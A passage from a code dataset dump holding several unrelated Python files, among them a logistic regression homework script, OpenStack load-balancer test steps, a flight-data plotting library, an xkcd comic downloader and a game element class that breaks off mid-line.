loaddata()\n\tlength_data = len(data)\n\ttrain_data = int(length_data * 0.8)\n\tprint(len)\n\tfor i in data:\n\t\tif(i[-1] < 1e06):\n\t\t\ti[-1] = 0\n\t\telse:\n\t\t\ti[-1] = 1\n\tdataMat = data[:train_data,:-1]\n\tlabelMat = data[:train_data,-1]\n\tweights = gradAscent(dataMat, labelMat)\n\tprint(weights)\n\tflag_r = 0\n\tfor i in range(length_data - train_data):\n\t\tres = judge(data[train_data + i,:-1],weights)\n\t\tif(res != data[train_data + i,-1]):\n\t\t\tprint(\"Predicted wrong!\")\n\t\telse:\n\t\t\tflag_r += 1\n\t\t\tprint(\"Predicted right!\")\n\tprint(\"Accuracy: \",flag_r/(length_data - train_data))","sub_path":"Homework/Data Analysis Tool/LogRegres.py","file_name":"LogRegres.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"186203042","text":"\"\"\"\n.. module:: clustermixin\n :platform: Darwin, Linux, Unix, Windows\n :synopsis: Contains a ClusterMixIn object to use for working with the nodes of a cluster\n\n.. moduleauthor:: Myron Walker \n\"\"\"\n\n__author__ = \"Myron Walker\"\n__copyright__ = \"Copyright 2020, Myron W Walker\"\n__credits__ = []\n__version__ = \"1.0.0\"\n__maintainer__ = \"Myron Walker\"\n__email__ = \"myron.walker@gmail.com\"\n__status__ = \"Development\" # Prototype, Development or Production\n__license__ = \"MIT\"\n\nfrom typing import Dict, List, Tuple\n\nfrom akit.mixins.integration import IntegrationMixIn\n\nclass ClusterMixIn(IntegrationMixIn):\n \"\"\"\n This is a mock playback device.\n \"\"\"\n\n pathbase = \"/clusters\"\n\n def __init__(self, *args, role=None, **kwargs):\n \"\"\"\n The default contructor for an :class:`IntegrationMixIn`.\n \"\"\"\n super(ClusterMixIn, self).__init__(*args, role=role, **kwargs)\n\n if self.pathbase is None:\n raise ValueError(\"The 'pathbase' class member variable must be set to a unique name for each integration class type.\")\n\n self.context.insert(self.pathbase , self)\n return\n\n @classmethod\n def attach_to_environment(cls, constaints: Dict={}):\n \"\"\"\n This API is called so that the IntegrationMixIn can process configuration information. The :class:`IntegrationMixIn`\n will verify that it has a valid environment and configuration to run in.\n\n :raises :class:`akit.exceptions.AKitMissingConfigError`, :class:`akit.exceptions.AKitInvalidConfigError`:\n \"\"\"\n return\n\n @classmethod\n def collect_resources(cls):\n \"\"\"\n This API is called so the `IntegrationMixIn` can connect with a resource management\n system and gain access to the resources required for the automation run.\n\n :raises :class:`akit.exceptions.AKitResourceError`:\n \"\"\"\n\n return\n\n @classmethod\n def diagnostic(cls, diag_level: int, diag_folder: str):\n \"\"\"\n The API is called by the :class:`akit.sequencer.Sequencer` object when the automation sequencer is\n building out a diagnostic package at a diagnostic point in the automation sequence. Example diagnostic\n points are:\n\n * pre-run\n * post-run\n\n Each diagnostic package has its own storage location so derived :class:`akit.scope.ScopeMixIn` objects\n can simply write to their specified output folder.\n\n :param diag_level: The maximum diagnostic level to run dianostics for.\n :param diag_folder: The output folder path where the diagnostic information should be written.\n \"\"\"\n\n return\n\n @classmethod\n def establish_connectivity(cls) -> Tuple[List[str], Dict]:\n \"\"\"\n This API is called so that this subclass of the `IntegrationMixIn` can establish connectivity with any\n compute or storage resources.\n\n :raises :class:`akit.exceptins.AKitInitialConnectivityError`:\n \"\"\"\n\n return\n\n @classmethod\n def establish_presence(cls) -> Tuple[List[str], Dict]:\n \"\"\"\n This API is called so the `IntegrationMixIn` can establish presence with any compute or storage\n resources.\n\n :returns: A tuple with a list of error messages for failed connections and dict of connectivity\n reports for devices devices based on the coordinator.\n \"\"\"\n return","sub_path":"packages/akit/integration/cluster/clustermixin.py","file_name":"clustermixin.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"504802668","text":"def find(list):\n if(len(list)<=1):\n return 1\n for i in list:\n sum=0\n for j in list:\n if j>=i:\n sum=sum+1\n if sum<=i:\n return sum\nif __name__ == '__main__':\n temp=input().split(\",\")\n list=[]\n for i in temp:\n list.append(int(i))\n a=find(list)\n if a==None:\n a=1\n print(a)","sub_path":"Code/CodeRecords/2465/60708/302148.py","file_name":"302148.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"108828403","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom hamcrest import (assert_that, equal_to, is_, is_not, contains,\n has_entries, starts_with, has_length) # noqa: H310\nimport requests\nfrom stepler import base\nfrom stepler.third_party import waiter\n\nfrom vapor import settings\n\n\nclass LBaaSSteps(base.BaseSteps):\n \"\"\"LBaaS steps.\"\"\"\n\n def _check_presence(self, objs, list_method, expected_presence, timeout=0):\n def _check_presence():\n all_objs = list_method()\n matcher = is_\n if not expected_presence:\n matcher = is_not\n return waiter.expect_that(\n all_objs,\n matcher(\n contains(*[has_entries(id=obj['id']) for obj in objs])))\n\n waiter.wait(_check_presence, timeout_seconds=timeout)\n\n def create_lb(self, name, subnet, **kwargs):\n \"\"\"Create loadbalancer and wait it became to online.\"\"\"\n loadbalancer = self._client.lbaas_loadbalancers.create(\n name=name, vip_subnet_id=subnet['id'], **kwargs)\n\n loadbalancer = self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n return loadbalancer\n\n def delete_lbs(self, loadbalancers):\n \"\"\"Delete loadbalancer and wait for deletion to be completed.\"\"\"\n for loadbalancer in loadbalancers:\n self._client.lbaas_loadbalancers.delete(loadbalancer['id'])\n\n self.check_lbs_presence(\n loadbalancers, timeout=settings.LBAAS_DELETE_TIMEOUT)\n\n def check_lb_provisioning_status(self,\n loadbalancer,\n expected_status=\"ACTIVE\",\n timeout=0):\n \"\"\"Check that loadbalancer has expected provisioning status.\"\"\"\n\n def _check_status():\n lb = self._client.lbaas_loadbalancers.get(loadbalancer['id'])\n waiter.expect_that(lb['provisioning_status'],\n is_not(starts_with('PENDING_')))\n return lb\n\n loadbalancer = waiter.wait(_check_status, timeout_seconds=timeout)\n assert_that(loadbalancer['provisioning_status'],\n equal_to(expected_status))\n return loadbalancer\n\n def check_lbs_presence(self,\n loadbalancers,\n expected_presence=True,\n timeout=0):\n \"\"\"Check that loadbalancer is present (or not).\"\"\"\n self._check_presence(\n loadbalancers,\n self._client.lbaas_loadbalancers.list,\n expected_presence,\n timeout=timeout)\n\n def cleanup_lbs(self, names):\n \"\"\"Remove all loadbalancers by names list.\"\"\"\n loadbalancers = []\n for name in names:\n for loadbalancer in self._client.lbaas_loadbalancers.find_all(\n name=name):\n loadbalancers.append(loadbalancer)\n self._client.lbaas_loadbalancers.delete(loadbalancer['id'])\n\n self.check_lbs_presence(\n loadbalancers,\n expected_presence=False,\n timeout=settings.LBAAS_DELETE_TIMEOUT)\n\n def create_listener(self, name, loadbalancer, protocol, protocol_port,\n **kwargs):\n \"\"\"Create LBaaS listener.\"\"\"\n listener = self._client.lbaas_listeners.create(\n name=name,\n loadbalancer_id=loadbalancer['id'],\n protocol=protocol,\n protocol_port=protocol_port,\n **kwargs)\n\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n return listener\n\n def delete_listener(self, listener):\n \"\"\"Delete LBaaS listener.\"\"\"\n listener = self._client.lbaas_listeners.get(listener['id'])\n loadbalancers = listener['loadbalancers']\n self._client.lbaas_listeners.delete(listener['id'])\n for lb in loadbalancers:\n self.check_lb_provisioning_status(\n lb, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n def cleanup_listeners(self, names):\n \"\"\"Remove all listeners by names list.\"\"\"\n for name in names:\n for listener in self._client.lbaas_listeners.find_all(name=name):\n self.delete_listener(listener)\n\n def create_pool(self, name, listener, protocol, lb_algorithm, **kwargs):\n \"\"\"Create LBaaS pool.\"\"\"\n pool = self._client.lbaas_pools.create(\n name=name,\n listener_id=listener['id'],\n protocol=protocol,\n lb_algorithm=lb_algorithm,\n **kwargs)\n\n for loadbalancer in pool['loadbalancers']:\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n return pool\n\n def delete_pool(self, pool):\n \"\"\"Create LBaaS pool.\"\"\"\n self._client.lbaas_pools.delete(pool['id'])\n for loadbalancer in pool['loadbalancers']:\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n def cleanup_pools(self, names):\n \"\"\"Remove all pools by names list.\"\"\"\n loadbalancers = []\n for name in names:\n for pool in self._client.lbaas_pools.find_all(name=name):\n self._client.lbaas_pools.delete(pool['id'])\n loadbalancers.extend(pool['loadbalancers'])\n\n for loadbalancer in loadbalancers:\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n def create_member(self, pool, address, protocol_port, subnet, **kwargs):\n \"\"\"Create LBaaS pool member.\"\"\"\n member = pool.members.create(\n address=address,\n protocol_port=protocol_port,\n subnet_id=subnet['id'],\n **kwargs)\n\n for loadbalancer in pool['loadbalancers']:\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n return member\n\n def delete_member(self, pool, member):\n \"\"\"Delete LBaaS pool member.\"\"\"\n pool.members.delete(member['id'])\n\n for loadbalancer in pool['loadbalancers']:\n self.check_lb_provisioning_status(\n loadbalancer, timeout=settings.LBAAS_ONLINE_TIMEOUT)\n\n def check_balancing(self, ip, port, expected_count):\n \"\"\"Check that responses contains `expected_counts` variants.\"\"\"\n responses = set()\n for _ in range(expected_count * 3):\n r = requests.get(\"http://{}:{}/\".format(ip, port))\n r.raise_for_status()\n responses.add(r.text)\n assert_that(responses, has_length(expected_count))\n","sub_path":"plugin_test/vapor/vapor/helpers/lbaas.py","file_name":"lbaas.py","file_ext":"py","file_size_in_byte":7280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"275545559","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\nfrom matplotlib.artist import setp\nimport pandas.core.common as com\nfrom pandas.compat import range, lrange, lmap, map, zip\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom statsmodels.nonparametric.smoothers_lowess import lowess\nimport seaborn as sns\nsns.set_style(\"whitegrid\")\nimport pandas as pd \nimport numpy as np \n\n\"\"\"\nThis module provides helper methods to carry out data distribution\nanalysis on flight data found on https://www.kaggle.com/usdot/flight-delays.\n\nThese methods are specific to the flight dataset and is not meant to be \ngeneric functions for other datasets.\n\"\"\"\n\ndef scatter_matrix_all(frame, alpha=0.5, figsize=None, grid=False, diagonal='hist', marker='.', density_kwds=None, hist_kwds=None, range_padding=0.05, **kwds):\n \n df = frame\n num_cols = frame._get_numeric_data().columns.values\n n = df.columns.size\n fig, axes = plt.subplots(nrows=n, ncols=n, figsize=figsize, squeeze=False)\n\n # no gaps between subplots\n fig.subplots_adjust(wspace=0, hspace=0)\n\n mask = com.notnull(df)\n marker = _get_marker_compat(marker)\n\n hist_kwds = hist_kwds or {}\n density_kwds = density_kwds or {}\n\n # workaround because `c='b'` is hardcoded in matplotlibs scatter method\n kwds.setdefault('c', plt.rcParams['patch.facecolor'])\n\n boundaries_list = []\n for a in df.columns:\n if a in num_cols:\n values = df[a].values[mask[a].values]\n else:\n values = df[a].value_counts()\n rmin_, rmax_ = np.min(values), np.max(values)\n rdelta_ext = (rmax_ - rmin_) * range_padding / 2.\n boundaries_list.append((rmin_ - rdelta_ext, rmax_+ rdelta_ext))\n\n for i, a in zip(lrange(n), df.columns):\n for j, b in zip(lrange(n), df.columns):\n ax = axes[i, j]\n\n if i == j:\n if a in num_cols: # numerical variable\n values = df[a].values[mask[a].values]\n # Deal with the diagonal by drawing a histogram there.\n if diagonal == 'hist':\n ax.hist(values, **hist_kwds)\n elif diagonal in ('kde', 'density'):\n from scipy.stats import gaussian_kde\n y = values\n gkde = gaussian_kde(y)\n ind = np.linspace(y.min(), y.max(), 1000)\n ax.plot(ind, gkde.evaluate(ind), **density_kwds)\n ax.set_xlim(boundaries_list[i])\n else: # categorical variable\n values = df[a].value_counts()\n ax.bar(list(range(df[a].nunique())), values)\n else:\n common = (mask[a] & mask[b]).values\n # two numerical variables\n if a in num_cols and b in num_cols:\n if i > j:\n ax.scatter(df[b][common], df[a][common], marker=marker, alpha=alpha, **kwds)\n # The following 2 lines add the lowess smoothing\n ys = lowess(df[a][common], df[b][common])\n ax.plot(ys[:,0], ys[:,1], 'red')\n else:\n pearR = df[[a, b]].corr()\n ax.text(df[b].min(), df[a].min(), 'r = %.4f' % (pearR.iloc[0][1]))\n ax.set_xlim(boundaries_list[j])\n ax.set_ylim(boundaries_list[i])\n # two categorical variables\n elif a not in num_cols and b not in num_cols:\n if i > j:\n from statsmodels.graphics import mosaicplot\n mosaicplot.mosaic(df, [b, a], ax, labelizer=lambda k:'')\n # one numerical variable and one categorical variable\n else:\n if i > j:\n tol = pd.DataFrame(df[[a, b]])\n if a in num_cols:\n label = [ k for k, v in tol.groupby(b) ]\n values = [ v[a].tolist() for k, v in tol.groupby(b) ]\n ax.boxplot(values, labels=label)\n else:\n label = [ k for k, v in tol.groupby(a) ]\n values = [ v[b].tolist() for k, v in tol.groupby(a) ]\n ax.boxplot(values, labels=label, vert=False)\n\n ax.set_xlabel('')\n ax.set_ylabel('')\n\n _label_axis(ax, kind='x', label=b, position='bottom', rotate=True)\n _label_axis(ax, kind='y', label=a, position='left')\n\n if j!= 0:\n ax.yaxis.set_visible(False)\n if i != n-1:\n ax.xaxis.set_visible(False)\n\n for ax in axes.flat:\n setp(ax.get_xticklabels(), fontsize=8)\n setp(ax.get_yticklabels(), fontsize=8)\n return fig\n \n\ndef _label_axis(ax, kind='x', label='', position='top', ticks=True, rotate=False):\n from matplotlib.artist import setp\n if kind == 'x':\n ax.set_xlabel(label, visible=True)\n ax.xaxis.set_visible(True)\n ax.xaxis.set_ticks_position(position)\n ax.xaxis.set_label_position(position)\n if rotate:\n setp(ax.get_xticklabels(), rotation=90)\n elif kind == 'y':\n ax.yaxis.set_visible(True)\n ax.set_ylabel(label, visible=True)\n #ax.set_ylabel(a)\n ax.yaxis.set_ticks_position(position)\n ax.yaxis.set_label_position(position)\n return\n\ndef _get_marker_compat(marker):\n import matplotlib.lines as mlines\n import matplotlib as mpl\n if mpl.__version__ < '1.1.0' and marker == '.':\n return 'o'\n if marker not in mlines.lineMarkers:\n return 'o'\n return marker\n\ndef plotBarPercentage(data, groupAttr, dependencyAttr, axAttr, condition, filter=0):\n totaldf = data.groupby([groupAttr])[dependencyAttr].count()\n denomdf = data.loc[condition]\n denomdf = denomdf.groupby([groupAttr])[dependencyAttr].count()\n df = denomdf/totaldf*100\n df = df[df > filter]\n if len(df) > 0:\n ax = df.plot.bar(figsize=(14, 6), ax = axAttr)\n ax.set_title(dependencyAttr)\n ax.set_ylabel('Percentage')\n\ndef plotBar(data, groupAttr, dependencyAttr, axAttr, condition):\n df = data.loc[condition]\n df = df.groupby([groupAttr])[dependencyAttr].count()\n ax = df.plot.bar(figsize=(14, 6), ax = axAttr)\n ax.set_ylabel(dependencyAttr)\n\ndef plotBars(data, groupAttr, dependencyAttrs, rows, cols, conditions):\n fig, axes = plt.subplots(nrows=rows, ncols=cols)\n r = 0\n c = 0\n for i in range(len(dependencyAttrs)):\n plotBar(data, groupAttr, dependencyAttrs[i], axes[r,c], conditions[i])\n if c == cols-1:\n c = -1\n r = r + 1\n c = c + 1\n \ndef plotBarsPercentage(data, groupAttr, dependencyAttrs, rows, cols, conditions, filter = 0):\n fig, axes = plt.subplots(nrows=rows, ncols=cols)\n r = 0\n c = 0\n for i in range(len(dependencyAttrs)):\n if rows > 1:\n plotBarPercentage(data, groupAttr, dependencyAttrs[i], axes[r,c], conditions[i], filter)\n else:\n plotBarPercentage(data, groupAttr, dependencyAttrs[i], axes[c], conditions[i], filter)\n\n if c == cols-1:\n c = -1\n r = r + 1\n c = c + 1\n\ndef plotMapData(df, longAttr, latAttr, valAttr, figw=8, figh=8, initmarksize= 0.5):\n # setup Lambert Conformal basemap.\n plt.figure(figsize=(figw,figh))\n m = Basemap(width=12000000,height=9000000,projection='lcc',\n resolution='c',lat_1=45.,lat_2=55,lat_0=50,lon_0=-107.)\n # draw a boundary around the map, fill the background.\n # this background will end up being the ocean color, since\n # the continents will be drawn on top.\n m.drawmapboundary(fill_color='aqua')\n # fill continents, set lake color same as ocean color.\n m.fillcontinents(color='coral',lake_color='aqua')\n # draw parallels and meridians.\n # label parallels on right and top\n # meridians on bottom and left\n parallels = np.arange(0.,81,10.)\n # labels = [left,right,top,bottom]\n m.drawparallels(parallels,labels=[False,True,True,False])\n meridians = np.arange(10.,351.,20.)\n m.drawmeridians(meridians,labels=[True,False,False,True])\n # plot blue dot on Boulder, colorado and label it as such.\n\n for lon, lat, mag in zip(df[longAttr].values, df[latAttr].values, df[valAttr].values):\n xpt,ypt = m(lon, lat)\n lonpt, latpt = m(xpt,ypt,inverse=True)\n msize = mag * initmarksize\n #map.plot(x, y, marker_string, markersize=msize)\n m.plot(xpt,ypt,'bo', markersize=msize) # plot a blue dot there \n\n plt.show()\n\ndef plotJointPlotSplice0_10_240_By(x, y, delayAttr, data):\n # Create dataset based on splice conditions\n flights_greater_than_0_and_less_than_10 = data.loc[\n (data[delayAttr] > 0)\n & (data[delayAttr] <= 10)\n ]\n flights_greater_than_10_and_less_than_240 = data.loc[\n (data[delayAttr] > 10)\n & (data[delayAttr] <= 240)\n ]\n\n flights_greater_than_240 = data.loc[\n (data[delayAttr] > 240)\n ]\n sns.jointplot(x=x, y=y, kind=\"kde\", data=flights_greater_than_0_and_less_than_10, size=4)\n sns.jointplot(x=x, y=y, kind=\"kde\", data=flights_greater_than_10_and_less_than_240, size=4)\n sns.jointplot(x=x, y=y, kind=\"kde\", data=flights_greater_than_240, size=4)\n\ndef plotJointPlot(x, y, delayAttr, data, title):\n df = data\n datasetSize = len(df)\n g = sns.jointplot(x=x, y=y, kind=\"kde\", data=df, size=4)\n txt = plt.title(title + \",\\n Dataset Size = \" + str(datasetSize), fontsize = 24, y = 0.5, x = 6)\n \ndef plotJointPlotSplice(x, y, delayAttr, data, cond, title):\n df = data.loc[cond]\n datasetSize = len(df)\n g = sns.jointplot(x=x, y=y, kind=\"kde\", data=df, size=4)\n txt = plt.title(title + \",\\n Dataset Size = \" + str(datasetSize), fontsize = 24, y = 0.5, x = 6)\n \ndef generateDistributionDF(data, timeAttr, monthAttr, delayAttr, aggfunc= np.sum):\n pivot = pd.pivot_table(data,index=[monthAttr, timeAttr],values=[delayAttr],aggfunc=aggfunc)\n pivot.reset_index(level=0, inplace=True)\n pivot.reset_index(level=0, inplace=True)\n return pivot\n\ndef plot3D(data, x, y, z):\n distdf = generateDistributionDF(data, y, x, z)\n distdf_avg = generateDistributionDF(data, y, x, z, np.mean) \n\n fig = plt.figure(figsize=(16, 6), dpi=80)\n\n #---- First subplot\n ax = fig.add_subplot(1, 2, 1, projection='3d')\n\n surf = ax.plot_trisurf(distdf[x], distdf[y], distdf[z], cmap=plt.cm.jet, linewidth=0.03)\n fig.colorbar(surf)\n\n #---- Second subplot\n ax = fig.add_subplot(1, 2, 2, projection='3d')\n surf = ax.plot_trisurf(distdf_avg[x], distdf_avg[y], distdf_avg[z], cmap=plt.cm.jet, linewidth=0.03)\n fig.colorbar(surf)\n\n plt.show() \n","sub_path":"airport/chartlib.py","file_name":"chartlib.py","file_ext":"py","file_size_in_byte":10897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"115505475","text":"import os\nimport logging\nimport logging.handlers\nimport errno\n\n\ndef mkdir_p(path):\n \"\"\"http://stackoverflow.com/a/600612/190597 (tzot)\"\"\"\n try:\n os.makedirs(path, exist_ok=True) # Python>3.2\n except TypeError:\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else: raise\n\n\nclass LinkFileHandler(logging.handlers.RotatingFileHandler):\n def __init__(self, filename, mode='a', encoding=None, delay=0, maxBytes=10485760, backupCount=2):\n mkdir_p(os.path.dirname(filename))\n logging.FileHandler.__init__(self, filename, mode, encoding, delay)\n\n\ndef Logger():\n # Sets log file path.\n log_file = os.path.join(os.path.dirname(__file__), 'logs/datil_link.log')\n \n # Return a logger with the specified name.\n mylogger = logging.getLogger(\"MyLogger\")\n handler = LinkFileHandler(log_file, maxBytes=10485760, backupCount=2)\n handler = logging.handlers.RotatingFileHandler(log_file)\n\n # Sets the threshold for this logger to lvl. Logging messages which are less severe than lvl will be ignored.\n mylogger.setLevel(logging.DEBUG)\n \n # Sets format of record in log file\n formatter = logging.Formatter('%(asctime)s - %(module)-10s - %(levelname)-8s %(message)s', '%d-%m-%Y %H:%M:%S')\n handler.setFormatter(formatter)\n \n # Adds the specified handler to logger \"MyLogger\"\n mylogger.addHandler(handler)\n\n return mylogger\n\n\nmylogger = Logger()\n","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"68642674","text":"#! python3\r\n# downloadXkcd.py - Dowloads every single XKCD comic\r\n\r\nimport requests, os, bs4\r\n\r\nurl = 'http://xkcd.com' # starting url\r\nos.chdir('C:\\\\Users\\\\Mack W\\\\Documents\\\\Python\\\\' +\r\n 'automateTheBoringStuffWithPython\\\\' +\r\n 'Chapter 11 Web Scraping\\\\XKCD Comics')\r\nwhile not url.endswith('#'):\r\n # Download the page\r\n print('Page: ', end='')\r\n print(url)\r\n res = requests.get(url)\r\n res.raise_for_status()\r\n soup = bs4.BeautifulSoup(res.text)\r\n \r\n # Find the URL of the comic image\r\n comicElem = soup.select('#comic img')\r\n if comicElem == []:\r\n print('Could not find comic image.')\r\n else:\r\n comicUrl = 'http:' + comicElem[0].get('src')\r\n \r\n # Download the image\r\n print('Image: ', end='')\r\n print(comicUrl)\r\n res = requests.get(comicUrl)\r\n res.raise_for_status()\r\n \r\n # Save the image\r\n imageName = os.path.basename(comicUrl)\r\n imageFile = open(imageName, 'wb')\r\n for chunk in res.iter_content(100000):\r\n imageFile.write(chunk)\r\n imageFile.close()\r\n \r\n # Get the Prev button's url\r\n prevLink = soup.select('a[rel=\"prev\"]')[0]\r\n url = 'http://xkcd.com' + prevLink.get('href')\r\n\r\nprint('Done.')\r\n","sub_path":"Command Line Programs/downloadXkcd.py","file_name":"downloadXkcd.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"156638460","text":"# coding: utf-8\n\nfrom element import *\n\n\nclass ElementMobile(Element):\n def __init__(self, type_element_mobile, carte: Carte, x_sur_carte: int, y_sur_carte: int,\n choix_mouvement: bool, objectif: (int, int) = None, orientation=0, alea=0):\n Element.__init__(self, type_element_mobile)\n self.carte = carte\n\n # Attention : On ne peut pas changer l'image d'un élément mobile en cours de route (on peut par contre changer\n # sa taille)\n self.ecran_original = loaded_images(Element.dic_elements[PARAM_F_ELEMENT_MOBILE_CHEMIN_IMAGE][self.type])\n self.ecran_original_size = (self.ecran_original.get_width(), self.ecran_original.get_height())\n self._scale_ecran_original_zoom = 0\n self.ecran = pygame.transform.rotozoom(self.ecran_original, 0, self.scale_ecran_original_zoom)\n self.ecran_size = (self.ecran.get_width(), self.ecran.get_height())\n\n if not objectif:\n new_x, new_y = self.carte.ajoute_aleas_xy_carte(x_sur_carte, y_sur_carte, alea)\n new_i, new_j = self.carte.xy_carte_to_ij_case(new_x, new_y)\n x_sur_carte, y_sur_carte = self.ajuste_xy_objectif(new_x, new_y, new_i, new_j)\n self.x_sur_carte = x_sur_carte\n self.y_sur_carte = y_sur_carte\n self.x_float = x_sur_carte\n self.y_float = y_sur_carte\n self._orientation = orientation\n\n self.chemin_liste_objectifs = []\n self.objectif: (int, int) = None\n if objectif:\n self.new_objectif(objectif[0], objectif[1], alea=alea)\n self.choix_mouvement = choix_mouvement\n\n self.nb_choc = 0\n self.pos_last_choc = 0, 0\n\n self.new_affichage = True\n\n # -------------------------------------------------\n # Gestion objectifs/chemins\n # -------------------------------------------------\n def update_chemin_et_position(self):\n i_pos, j_pos = self.carte.xy_carte_to_ij_case(self.x_sur_carte, self.y_sur_carte)\n if self.objectif is None:\n x, y = self.ajuste_xy_objectif(self.x_sur_carte, self.y_sur_carte, i_pos, j_pos)\n if not x == self.x_sur_carte or not y == self.y_sur_carte:\n self.chemin_liste_objectifs = [(x, y)]\n self.objectif_suivant()\n else:\n if len(self.chemin_liste_objectifs) > 0:\n x, y = self.chemin_liste_objectifs[-1]\n else:\n x, y = self.objectif\n i, j = self.carte.xy_carte_to_ij_case(x, y)\n if self.carte.get_cases_grille(i, j) == TYPE_CASE_PLEINE:\n self.objectif = None\n self.chemin_liste_objectifs = []\n else:\n self.new_objectif(x, y, modification_chemin_seulement=True, alea=ALEA_MAX_PERSONNES_UPDATE_CHEMIN)\n\n def new_objectif(self, x_carte, y_carte, i_pos: int = None, j_pos: int = None, i_objectif: int = None,\n j_objectif: int = None, modification_chemin_seulement=False, alea=0):\n x_carte, y_carte = self.carte.ajoute_aleas_xy_carte(x_carte, y_carte, alea)\n if i_pos is None or j_pos is None:\n i_pos, j_pos = self.carte.xy_carte_to_ij_case(self.x_sur_carte, self.y_sur_carte)\n if i_objectif is None or j_objectif is None:\n i_objectif, j_objectif = self.carte.xy_carte_to_ij_case(x_carte, y_carte)\n case_obj = self.carte.get_cases_grille(i_objectif, j_objectif)\n if not case_obj == TYPE_CASE_INEXISTANTE and not case_obj == TYPE_CASE_PLEINE:\n x_obj, y_obj = self.ajuste_xy_objectif(x_carte, y_carte, i_objectif, j_objectif)\n if i_pos == i_objectif and j_pos == j_objectif:\n self.chemin_liste_objectifs = [(x_obj, y_obj)]\n else:\n self.chemin_liste_objectifs = self.calcul_new_chemin_grille_objectif_xy(x_obj, y_obj, i_pos, j_pos,\n i_objectif, j_objectif)\n if len(self.chemin_liste_objectifs) > 0:\n self.objectif_suivant()\n\n def new_objectif_point_relay(self, alea=0):\n self.new_objectif_liste_cases(self.carte.get_all_ij_cases_relay(), alea=alea)\n\n def new_objectif_liste_cases(self, liste_cases_objectifs: list, alea=0):\n if len(liste_cases_objectifs) > 0:\n i_pos, j_pos = self.carte.xy_carte_to_ij_case(self.x_sur_carte, self.y_sur_carte)\n\n self.chemin_liste_objectifs = self.calcul_new_chemin_grille_liste_objectifs(i_pos, j_pos,\n liste_cases_objectifs)\n if len(self.chemin_liste_objectifs) > 0:\n if not alea == 0:\n x_obj, y_obj = self.chemin_liste_objectifs[-1]\n x_obj, y_obj = self.carte.ajoute_aleas_xy_carte(x_obj, y_obj, alea)\n i_obj, j_obj = self.carte.xy_carte_to_ij_case(x_obj, y_obj)\n self.chemin_liste_objectifs[-1] = self.ajuste_xy_objectif(x_obj, y_obj, i_obj, j_obj)\n\n self.objectif_suivant()\n\n def oriente_vers_point(self, x_obj, y_obj):\n dx = x_obj - self.x_sur_carte\n dy = y_obj - self.y_sur_carte\n if dx == 0:\n if dy > 0:\n self._orientation = - math.pi / 2\n else:\n self._orientation = math.pi / 2\n else:\n if dx > 0:\n self._orientation = math.atan(- dy / dx)\n else:\n self._orientation = math.pi - math.atan(dy / dx)\n self.new_affichage = True\n\n def oriente_vers_point_si_necessaire(self, x_obj, y_obj):\n if self.new_affichage:\n self.oriente_vers_point(x_obj, y_obj)\n else:\n ancienne_orientation = self._orientation\n ancien_affichage = self.new_affichage\n self.oriente_vers_point(x_obj, y_obj)\n if not ancien_affichage and abs(ancienne_orientation - self._orientation) < 0.0001:\n self.new_affichage = False\n\n def objectif_suivant(self):\n if len(self.chemin_liste_objectifs) == 0:\n self.objectif = None\n return\n self.objectif = self.chemin_liste_objectifs[0]\n if self.test_ojectif_atteind():\n self.objectif = None\n self.chemin_liste_objectifs = []\n return\n self.oriente_vers_point(self.objectif[0], self.objectif[1])\n del self.chemin_liste_objectifs[0]\n\n def ajuste_xy_objectif(self, x_carte: int, y_carte: int, i_objectif: int, j_objectif: int):\n x_centre_case_obj, y_centre_case_obj = self.carte.ij_case_to_centre_xy_carte(i_objectif, j_objectif)\n\n if not x_centre_case_obj == x_carte:\n if x_carte > x_centre_case_obj:\n case = self.carte.get_cases_grille(i_objectif + 1, j_objectif)\n if case == TYPE_CASE_PLEINE or case == TYPE_CASE_INEXISTANTE:\n x_carte = x_centre_case_obj\n elif x_carte < x_centre_case_obj:\n case = self.carte.get_cases_grille(i_objectif - 1, j_objectif)\n if case == TYPE_CASE_PLEINE or case == TYPE_CASE_INEXISTANTE:\n x_carte = x_centre_case_obj\n\n if not y_centre_case_obj == y_carte:\n if y_carte > y_centre_case_obj:\n case = self.carte.get_cases_grille(i_objectif, j_objectif + 1)\n if case == TYPE_CASE_PLEINE or case == TYPE_CASE_INEXISTANTE:\n y_carte = y_centre_case_obj\n else:\n case = self.carte.get_cases_grille(i_objectif, j_objectif - 1)\n if case == TYPE_CASE_PLEINE or case == 